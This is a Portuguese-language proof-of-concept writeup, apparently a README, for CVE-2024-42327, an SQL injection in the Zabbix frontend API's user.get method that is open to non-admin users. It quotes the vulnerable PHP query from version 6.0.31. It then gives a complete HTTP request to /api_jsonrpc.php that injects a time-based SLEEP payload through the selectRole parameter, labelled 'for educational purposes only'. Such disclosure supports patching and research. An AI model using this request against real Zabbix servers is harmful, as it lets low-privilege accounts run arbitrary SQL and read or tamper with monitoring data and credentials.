
Prova de conceito de exploit para CVE-2024-42327, uma vulnerabilidade de injeção de SQL na API do frontend do Zabbix que permite que usuários não administradores executem consultas SQL arbitrárias por meio do método user.get.
Uma conta de usuário não administrador no frontend do Zabbix com o papel de Usuário padrão, ou com qualquer outro papel que conceda acesso à API, pode explorar essa vulnerabilidade. Existe uma SQLi na classe CUser na função addRelatedObjects; essa função é chamada a partir da função CUser.get, que está disponível para qualquer usuário que tenha acesso à API.
Este script é fornecido apenas para fins educacionais!
O código a seguir da versão 6.0.31 é vulnerável a SQLi:
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
A seguinte chamada aciona a vulnerabilidade:
POST /api_jsonrpc.php HTTP/1.1
Host: localhost
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive
{
"jsonrpc": "2.0",
"method": "user.get",
"params": {
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
"userids": ["1","2"]
},
"id": 1,
"auth": ""
}